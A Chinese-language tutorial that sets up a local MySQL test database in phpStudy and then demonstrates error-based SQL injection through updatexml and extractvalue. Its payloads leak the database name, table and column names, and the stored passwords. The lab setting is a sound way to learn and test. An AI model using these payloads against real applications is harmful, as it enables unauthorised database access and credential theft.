SQL注入 | updatexml和extractvalue函数
一、自己搭建数据库及其内容
1.本地phpstudy
打开phpmyAdmin
2.登录本机数据库的用户名及密码,并执行
3.点击数据库,输入我们想创建的库名(如:test123
),点击创建
4.如下图所示,及数据库创建成功
5.进入到test123
这个数据库中
6.点击创建数据表
7.输入数据表名,字段不够用的话,自行增加即可,此处表中设置了三个字段分别是id
,name
,password
类型这里可以根据自己的需要进行设置,此处三个字段默认均不能为空,并且设置id
为主键,其中A_I
表示的是自动排序
8.上述步骤完成后记得保存哦
9.插入一条数据
10.输入id
,name
,password
的值
11.执行
12.终端查看表的信息
二、updatexml函数
(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据
1.本地测试,爆破数据库
select * from user where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
2.获取数据表名信息
select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test123'),0x7e),1);
3.获取字段名信息
select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test123' and table_name='user'),0x7e),1);
4.获取字段内容
select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1);
三、extractvalue函数
extractvalue函数:对XML文档进行查询的函数其实就是相当于我们熟悉的HTML文件中用<div><p><a>
标签查找元素一样语法: extractvalue
(目标xml文档,xml路径)第二个参数xml中的位置是可操作的地方,xml文档中查找字符位置是用/xx/xxx/xoox ...
这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
1.终端中获取数据库信息
select * from user where id=1 and extractvalue(1,concat(0x7e,database(),0x7e));
2.获取表名信息
select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test123'),0x7e));
3.获取字段名信息
select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test123' and table_name='user'),0x7e));
4.获取字段内容
select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(password) from user),0x7e));